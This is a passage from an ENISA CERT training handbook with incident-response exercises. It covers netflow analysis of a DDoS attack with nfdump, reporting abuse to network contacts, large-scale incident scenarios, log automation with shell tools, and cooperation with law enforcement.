There are 5 hosts that generate huge traffic to the attacked server. These IPs are the potential attackers: 33.106.25.243 207.39.221.61 213.63.169.117 43.170.142.79 33.106.23.177 CLI: A quick way of checking what IPs may be involved in an attack against an IP is to generate statistics filtered towards that specific destination IP. In this case we can filter for the TOP N attacking source IPs based on flows against 195.88.49.121. [Question to students: What IPs do you think are involved in the attack?] Example query: nfdump -R nfcapd.200702240400:nfcapd.200702240900 -n 20 -s srcip 'dst ip 195.88.49.121' Q 4 How is the attack being carried out? Once we get some attack candidates, we can filter for their behaviour against this destination IP. This gives us a more complete picture of how the attack is being carried out. GUI: Use netflow processing with the dst ip 195.88.49.121 and (src ip 33.106.25.243 or src ip 207.39.221.61 or src ip 213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177) filter.

CERT Handbook

33

By modifying the filter (dst host) you can investigate the behaviour of each attacking IP separately. CLI: In the command line interface, you could use the following command: nfdump -R nfcapd.200702240410:nfcapd.200702240900 -o extended -c 50 'dst ip 195.88.49.121 and (src ip 33.106.25.243 or src ip 207.39.221.61 or src ip 213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177)' Modify the dst host accordingly. Conclusion: The attacking IP was sending UDP packets to a WWW server to many different destination ports, but always from the same source port. All these five attacking IPs sent packets simultaneously. All the packets had the same size: 29B.

34

CERT Handbook

Q 5 Where did the attack come from? One issue that frequently arises for DDoS attacks is the question whether the source IPs are spoofed. With UDP DDoS attacks, this is usually quite likely. For TCP based attacks, flows can be used to deduce what flags were seen for connections, allowing for speculation as to whether an attack was spoofed or not. To track where an attack came from, one can also use netflow to observe the router interfaces from which the traffic entered. With the interface information it is possible to identify the uplink, which can be used in turn to check its uplink and so on. This can also be used to discover whether spoofing was involved. CLI: For example, to see what flags were set: nfdump -R nfcapd.200702240410:nfcapd.200702240500 -c 50 -o extended 'dst ip 195.88.49.121 and (src ip 33.106.25.243 or src ip 207.39.221.61 or src ip 213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177)' For example, to see the interfaces where the packets came from: nfdump -R nfcapd.200702240410:nfcapd.200702240500 -o fmt:%in 'src ip 33.106.25.243' | sort -u Q 6 What could be done to mitigate the attack at the ISP level? Some possible suggestions for attack mitigation might include the following: If the attacked server is only a WWW server, without other services, you could block all UDP traffic. This prevents repeated attacks from new IPs. You could block UDP traffic destined only to high number ports (for example, if the attacked server is also a DNS server and you cannot block all UDP traffic you could block all >53/UDP) Rate limiting of UDP traffic is also a possibility. When you finish Task 1, run nfsen_stop script available on your LiveDVD Desktop. (You can click on it.) Task 2 DDoS Analysis (DIY) In a similar manner to the first Task, you are required at analyse another DDoS attack. This time, you are expected to carry out the analysis with minimal help from the trainer. You are expected to: identify when the attack began; identify what is being attacked; identify the IPs involved in carrying out the attack; identify the way the attack is being carried out; identify where the attack is coming from; and suggest ways of mitigating the attack at the ISP level.

Task 2 can be found on the LiveDVD #2: Network Forensisc Task 2. Make sure that the Apache server is running. Run the nfsen_start script available on your LiveDVD #2: Network Forensics Task 2 Desktop. (You can click on it.) When you finish Task 2, run the nfsen_stop script available on your LiveDVD #2: Network Forensisc Task 2 Desktop. (You can click on it.)

CERT Handbook

35

Exercise 8
Establishing External Contacts
WHAT WILL YOU LEARN?
The communication and exchange of information is one of the crucial aspects of a CERTs work. The more effectively information is shared and exchanged between interested parties, the faster security incidents can be mitigated and the less the damage that occurs. Thus, it is very important to have at hand and to know how to use sources of contact information, networks of contacts and other channels for the distribution and sharing of data. The goal of this exercise is to enhance your skills in establishing contacts with other CERTs, administrators of ISPs and other parties responsible for the mitigation of security incidents in their networks around the globe. You will be asked to identify and contact the proper authorities about real incidents. After finishing the exercise, you should be able to establish and develop networks of contacts faster and more effectively.

EXERCISE TASK
Session One You have received a number of logs indicating remote attacks. Your task will be to inform administrators of networks causing these attacks about the problem and ask them to mitigate it. Begin with identifying the right contacts. We suggest starting with querying the whois databases of regional Internet registries (RIRs). They keep information about the network providers being assigned a given range of IP addresses. In turn, the providers can usually make the information more granulate by adding information about subnets and their networks. Note, that each regional registry has its own separated database which covers the address space administered by that registry. Currently, there are five regional Internet registries: ARIN: American Registry for Internet Numbers (http://www.arin.net/) covers North America and parts of the Caribbean; RIPE NCC (http://www.ripe.net/) for Europe, Middle East and Central Asia; APNIC: Asia-Pacific Network Information Centre (http://www.apnic.net) for Asia and the Pacific; LACNIC: Latin American and Caribbean Internet Address Registry (http://www.lacnic.net/) for Latin America and parts of the Caribbean; and AfriNIC: African Network Information Centre (http://www.afrinic.net/) for Africa. The registries offer whois services via web interfaces and standard whois protocol. Since it is not possible to determine which RIR to ask just by looking at the IP address (or at least not without sufficient prior experience), numerous services exist which can do this for you by querying multiple servers to find the correct one. One of the services we recommend for this is Domain Dossier from CentralOps.net, located at http://centralops.net/co/DomainDossier.aspx. While this service offers multiple other functionalities, for the time being we settle for network whois lookup. Look for contacts listed in cert-nfy (RIPE, APNIC), tech-c, OrgAbuseEmail (ARIN) or similar, as well as for any contacts the server refers to directly as abuse. Another approach is to use the domain name and user contact information for the domain. Note that this can be much less accurate, because: many institutions can get network or hosting services from a single provider and so do not bother to have reverse DNS entries, thus sharing a single providers domain in many cases they will, however, have different entries in RIR whois databases; the domain name system is hierarchical and sometimes the different levels of a domain name can be confused; and some domain registries hide pieces of information that are considered private and protected by local law (eg, the name and last name of a private person can be treated as personal data).

36

CERT Handbook

Note that, in any case, going after the domain owner should eventually bring you to the person responsible for a particular host in the worst case, they should be able to redirect you one hop further but usually it takes longer than going from the network providers end. When looking up the domain owner, do not confuse registrar with registrant. Although the terms sound similar, the first one is actually the organisation where the domain was registered, while the latter is the domain owner. Contact information for a domain is kept in a domain whois database a separate one for each toplevel domain. Most registries provide lookup tools for their databases via a web frontend and sometimes also via a standard whois interface. The quality and format of the information returned varies greatly. Again, Domain Dossier has a tool that does lookups at the appropriate servers for you (when available). This time use the domain whois record feature. Yet another way to look for administrative contacts is to look for a web page of the company. You may try entering the hostname into the browser directly or guess the name by adding www to various parts of the domain name. For example, for a hostname melkor.nask.waw.pl you would be successful with www.nask.waw.pl. Warning! When visiting unknown web pages, consider using a disposable system, eg, a virtual machine which you do not mind getting infected. This is especially true when visiting potentially infected sites. Once you find the web page, try to find out what kind of a company you are dealing with. Is it a hosting provider? An ISP? If you find yourself at either of these, you will probably look for an abuse department or a network operating centre of some kind and ask them to provide the customers data or relay your information to him. If you stumble across an online store, or other site which does not seem to provide further network services, you have probably found the customer yourself. Just look for any contact information on the web page. Last, but not least, consider passing the information on to a local CERT. CERTs have proved to be successful in getting to the right people by knowing the local situation, language and culture. Usually they have also built up a tight local network of trusted contacts that you may not be able to reach otherwise. If you are unable to locate the IRT contact in RIPE or APNIC databases, you may want to use one of the lists of CERT teams: http://www.first.org/members/teams/index.html members of the Forum of Incident Response and Security Teams, the global forum for CERTs (sorted alphabetically); http://www.trusted-introducer.nl/teams/country_LICSA.html a list of recognised European CERTs, maintained by Trusted Introducer (sorted by country); http://www.egc-group.org/ European Government CERTs Group; http://enisa.europa.eu/doc/pdf/deliverables/cert_inventory_v1_4.pdf Inventory of CERT activities in Europe by ENISA; and http://www.apcert.org/about/structure/members.html members of APCERT, a forum of CERTs from the Asia-Pacific region. Note the different constituencies of different CERT teams. Although some teams have country-wide responsibility and will be happy to accept and relay information about malicious activity anywhere in their country, some are limited to government or military institutions or even single companies or universities. Whenever possible, try to make notes of phone numbers too. When you have finished gathering contact information, consult with the trainer and other students.

CERT Handbook

37

Your next step is to write formal incident reports to the addresses you have found and send them by e-mail. You should start the report by identifying yourself and the company and/or team you are working for. You may skip this only when you have long-established and informal relationships with the recipient but do not do so for the sake of this exercise. The report should also contain: a clear description of the attack and what you think caused it; evidence of the attack log samples including detailed time information, full e-mail with headers, etc; and a request for actions you should state clearly what you want the recipient to do (eg, stop the customer from carrying out further abuse, take down an offending host, etc). Once you have prepared the report, discuss it with the trainer. If you have PGP/GPG available, always sign your mail. Note that encryption is not necessary unless you are sending sensitive information such as a cracked password, strings to access a vulnerable site, etc. Also, you would need to have a public key for the recipient or agree with him or her on a pass-phrase for symmetric encryption beforehand. After hitting the Send button, you are done with the first session, but not done with your exercise. Ask the teacher for the details of the second session when you will discuss the results. Until then, make sure you monitor your mailbox, reply to any inquiries you may receive from the administrators if you can, and take notes of any responses, tracking any numbers, etc, you may receive.

Session Two Share your experience from the contacts: How many e-mails did you send? How many replies did you get? What kinds of replies did you get automated, personalised, asking for clarification, or confirming resolution? How much time did it usually take to get a reply back? In how many cases do you believe you managed to resolve the incident? In cases where you did not receive any reply, what do you think was the reason? Discuss your findings and opinions with the other students and the teacher. In some cases, the teacher might ask you to follow-up with a phone call. Do you still have the numbers you noted?

38

CERT Handbook

Exercise 9
Large-scale Incident Handling
WHAT WILL YOU LEARN?
The purpose of this exercise is to introduce you to the way large-scale incidents can be handled. You will face different scenarios, presented by the trainer. For each scenario, follow carefully what the trainer has to say. The trainer will explain a certain initial situation and you will be asked to suggest ways of moving forward. To help you, the trainer will pose leading questions. Answering the questions will move you to the next phase of the scenario, until you arrive at the final solution.

EXERCISE TASK
PART 1 LARGE-SCALE PHISHING ATTACK This exercise is meant to be carried out with the help of the trainer. At the beginning, you will be given a short overview of what phishing is. The trainer will then present a scenario to you. The scenario will be resolved through a series of steps (tasks).

Task 1

Source of information What are your possible sources for obtaining information about phishing incidents?

Task 2

Initial investigation What would be your first steps in tackling a reported phishing incident?

Task 3

Take down How would you organise the takedown of the phishing site? What are the possible obstacles?

Task 4

Warning & Mitigation How would you go about warning victims? What steps could be taken, other than organising a takedown, to mitigate the problem?

PART 2 LARGE BOTNET SPREADING THROUGH A NEW VULNERABILITY You have gained some experience on how to handle large-scale phishing attacks. Now you are faced with a large botnet which is blasting through your network using some new vulnerability you have never heard of. The trainer will introduce some more details to you. As in the previous example, you should resolve the incident through the tasks listed below. The trainer will be there to help you, answering your questions so that you may proceed to the next task. Try to enumerate as many possible variants as you can think of.

Task 1

Source of information What are your possible sources for obtaining information about new botnets and vulnerabilities? What services could you use to monitor networks and acquire information about network events?

CERT Handbook

39

Task 2

Initial investigation What would be your first steps in tackling such a situation?

Task 3

Take down How would you organise the takedown of a controller? What are the possible obstacles?

Task 4

Warning & Mitigation How would you go about warning victims? What steps could be taken, other than organising a takedown, to mitigate the problem?

PART 3 INTERNAL WORM OUTBREAK This scenario deals with a different case than the two previous scenarios. Those involved handling incidents external to a CERT. But what if an attack is happening in a network of a corporate CERT? In this scenario, the trainer will: present you with a hypothetical scenario of a worm entering a corporate network; present a diagram (below) of a hypothetical organisations network; give general information about the initial situation; and guide you in a step-by-step manner, by providing leading questions to help you understand what is happening and how to resolve the situation.

The network topology looks like the following:

40

CERT Handbook

Perform the following tasks, enumerating all the possible variants of the problem you can think of. How would you resolve the situation? Again, the trainer will provide you with leading questions. Task 1

Possible source of attack Where could the attack have come from?

Task 2

Type of attack How does the worm spread?

Task 3

Malware capture and analysis How could you capture and analyse the worm?

Task 4

Worm controller identification How could you determine if this worm has a controller and adds infected hosts to a botnet?

PART 4 LARGE SCALE DDoS ATTACKS AGAINST THE ENTIRE COUNTRY This part of the exercise is devoted particularly to developing your skills and ideas on handling large-scale country-wide DDoS attacks. You will learn how to prepare the attack defence strategy, undertake appropriate actions and overcome various types of difficulties at different levels, both technical and organisational. Task 1 Case study: hypothetical cyber attack against country X You will receive a case study which describes some hypothetical cyber attack against country X. Your task is to prepare the defence strategy for this cyber attack. Think about the consequences of the situations described and the potential difficulties a CERT could face. Explain the motivation for the actions you propose. You have 45 minutes to complete this task. Be prepared to present your ideas to the whole group. Use the following form to prepare your strategy.

Your ideas for Phase I

CERT Handbook

41

Your ideas for Phase II

Your ideas for Phase III

Present and discuss your ideas with the others. Task 2 Another perspective: your country is under cyber attack Imagine a similar attack occurs against your country or happens to your constituency. What would be your actions? Develop a basic defence procedure for your CSIRT team. Defence procedure (You are your CERT)

Task 3

Analysis of a particular DDoS method You will receive a description of some DDoS attack. Your task will be to give ideas about the types of analytical methods and actions which can be used to defend against it.

Task 4

Lesson learnt Think about how to be better prepared to defend future large-scale attacks? Consider issues connected to prevention, preparedness and sustainability.

42

CERT Handbook

Exercise 10
Automation in Incident Handling
WHAT WILL YOU LEARN?
Sometimes information about an incident, particularly about a wide-spread incident, is received in bulk containing not just data about your networks but from all networks. This can be the case when a site under a DDoS attack shares its logs without time to sort and separate them for individual ISPs, looks for contacts, etc. Having one-to-many distribution channels at hand, such as mailing lists, they can efficiently publish information for everyone to analyse. On the other hand, sometimes you have plenty of information collected from your own sources which you wish to share with others, distributing it on a need-to-know basis. An example can be logs from IPS systems, early warning systems, etc. While you observe attacks from all around the world, you may have a few interested parties who want to receive and handle reports about their networks. In such cases you need to sort the information out. Can you think of other situations where automation and scripting may help you? This exercise will let you practice your skills in the fast and automated or semi-automated analysing of logs and guide you through some tools than can be useful in these tasks.

You can find a lot of lightweight useful tools in the standard Linux shell. Some of the most commonly used are: cat concatenate files and print on the standard output head output the first part of files tail output the last part of files grep, egrep print lines matching a pattern sort sort lines of text files cut remove sections from each line of files awk pattern scanning and processing language netcat reads and writes data across network connections

Their documentation is available by typing: man command_name at the command prompt. For more advanced processing you can use powerful programming languages like python and perl with lots of ready text-manipulation routines. The text file 24022007.txt contains netflow logs from a DDoS attack. Although this is a UDP flood to various ports and the source hosts are likely spoofed, you may decide to verify whether this traffic was observed at origin and you happen to have good contacts with CERT teams in Poland and Turkey. The log file format is as follows (columns separated with whitespaces): Column 1 2 3 4 5 6 7 8 9 10 Description Date Time Duration Protocol Source IP address:port -> Destination IP address:port Number of packets transmitted Number of bytes transmitted Number of aggregated flows

CERT Handbook

43

Use the tools to dig some useful information out of this bulk data. Task 1 Locating unique interesting hosts Generate a list of unique attacking IP addresses. How many distinct source hosts were taking part in the attack? (Assume that attacking packets = UDP packets.) Hints: sort offers an option to remove repeated lines from output. You can count lines, characters, etc, in a text file with wc. Task 2 Geolocation Team Cymru (http://www.team-cymru.com/) offers an IP to ASN mapping service. Use this service to find attacking IP addresses assigned to Poland and Turkey. A detailed description of the service is available at http://www.team-cymru.org/Services/ip-toasn.html and additional instructions can be obtained with a command: $ whois -h whois.cymru.com help Make sure you read the instructions and policies published on the webpage. Hints: Use bulk query over whois protocol. You will need to enable the display of the country codes in the output. Task 3 Looking further While the attack consists of UDP packets to (apparently) random high ports, there are some other flows that stand out. Can you find them?

44

CERT Handbook

Exercise 11
Incident Handling in Live Role Playing
WHAT WILL YOU LEARN?
This exercise is designed to introduce you to many different layers and aspects of incident handling, including but not limited to: interaction with end-users; interaction with administrators; vulnerability handling; and talking to the management.

It should help you to get into other peoples shoes, understand their needs and expectations during the incident handling process and improve your communications with different actors. EXERCISE TASKS This is a role-playing game that will take you into the world of incident handling. Doesnt sound like much fun? Well, it depends on you, as you will have a lot of freedom in developing the scenario and taking turns in the actions. Try to be an as interactive as possible. You will receive a small note with a personal description of your character. This is for your eyes only! If you decide to take some action (eg, call someone), ask the game master for permission. He has the power to give or take back any information, fast forward or revert the time, and influence your decisions. However, keep in mind that you should not try to speculate on the decisions of other players and vice versa you should not let others decide for you (unless they are your bosses, of course ?). You can exchange information with other characters by meeting them face to face, making calls, sending e-mails, etc. Just describe what you are doing and interact with your partner. Remember that you cannot use any information that you heard when other characters talked unless your character was in the same room; the same rule applies to the other participants. At the end of the game you will be asked to share your opinions, so keep them for then. You can make notes on how you would proceed if you knew something in advance or if you were playing another character, and share them with everyone later.

CERT Handbook

45

Exercise 12
Cooperation with Law Enforcement Agencies ( Advising in Cyber Crime Cases )
WHAT WILL YOU LEARN?
During this exercise you will learn how to advise in a cyber crime case, as well as when and how to effectively cooperate with an LEA. In particular, you will: practice the identification of cyber crime cases; discuss differences in the legal systems of various countries and the consequences of these differences; practice writing instructions regarding the reporting of a cyber crime to an LEA; improve your skills in advising a reporter or an LEA in a cyber crime case; and develop your ideas about what kinds of training could be useful for an LEA. EXERCISE TASKS Task 1 Identifying and reporting cyber crimes Imagine that the following incidents have been reported to you. Which would you consider to be cyber crimes according to the cyber law of your country? Name each type of the identified cyber crimes (eg, computer intrusion, etc).

1. 2. 3. 4. 5. 6. 7. 8. 9.

Reposting a personal message to a mailing group Multiple login attempts (guessing passwords) Discovering the weak points of a computer system by scanning Observing and recording network traffic (wiretapping) Attempting unauthorised remote or local access to someones computer Sending mails with abusive content Attempting to use an unknown exploit Forwarding or re-posting a message received with the wording changed Selling or installing copies of unlicensed commercial software or other copyright protected materials

10. Attempt to acquire sensitive information, such as usernames, passwords and credit card details, by masquerading as a trustworthy entity in an electronic communication 11. A successful compromise of a system or application by exploiting vulnerabilities 12. Using someones FTP site to deposit materials which somebody else wishes other people to pick up 13. Including, or inserting into a system, software intended for a harmful purpose 14. Limiting the availability of someones computer resources by sending lots of packets 15. Sending large amounts of unsolicited mails to people

46

CERT Handbook

Task 2

CERT advises an incident reporter in a cyber crime case Read the following descriptions of three incidents reported to CERT: A user reports that he receives e-mails with viruses from one particular address. (The reporter suspects that they are sent on purpose.) The reporter provides the details of his mailbox (login and password) with a request for it to be checked with the CERTs help. A server administrator at the University reports that its web server (IP given) has became the target of a massive DDoS attack. The number of connections from the attacking hosts exceeded 35,000 in the first days, but on that day, the attacks were boosted and occurred 4 times a day for 2 to 3.5 hours each time and the number of connections (recorded in firewall logs) was more than 130,000. The total number of attacking hosts was likely of more than 1,000. They had already blocked about 450 of the attacking networks. In most cases, attacks originated from the network in France, the Netherlands and Germany. A bank reports that it has been informed that there is a website hosted by some company which is involved in a phishing scheme to obtain personal account information from the customers of this bank. Write separate instructions for the victims of these incidents, including your advice and an explanation on how to report the incidents to an LEA.

Task 3

CERT advises LEA in a cyber crime case The trainer asks you what kind of aspects should be addressed in cooperation with an LEA. Then, he or she asks you to think about what a CERT could advise when it receives a call from an LEA regarding a case of suspected cyber crime.

What would you do in cases involving: a) a denial of service attack, b) phishing, and c) cyber defamation? 1. What kind of information should the LEA provide you with? 2. How could you identify the source of the crime? 3. What could you advise the LEA to do? Task 4 CERT prepares training for LEA The trainer asks you to think about proposals for CERT training for an LEA. What kind of training will it be? What kind of advice should this training contain? Below are some examples of queries from an LEA: The LEA asks you to establish the owner of an e-mail address. The LEA sends you a letter without the return address. The LEA asks questions without proper authorisation or an appropriate signature. The LEA asks for a list of log entries that could help identify users connecting to the Internet using a computer with an IP address xxxx. The LEA asks for the identity of the user who was assigned IP address xxxx during a specific period of time a few years ago. The LEA asks for log entries containing a list of all connections established on a particular day. Think about proposals for CERT training for an LEA which would decrease the number of such questions.

47

PO Box 1309, 71001 Heraklion, Greece, Tel: +30 2810 391 280 www.enisa.europa.eu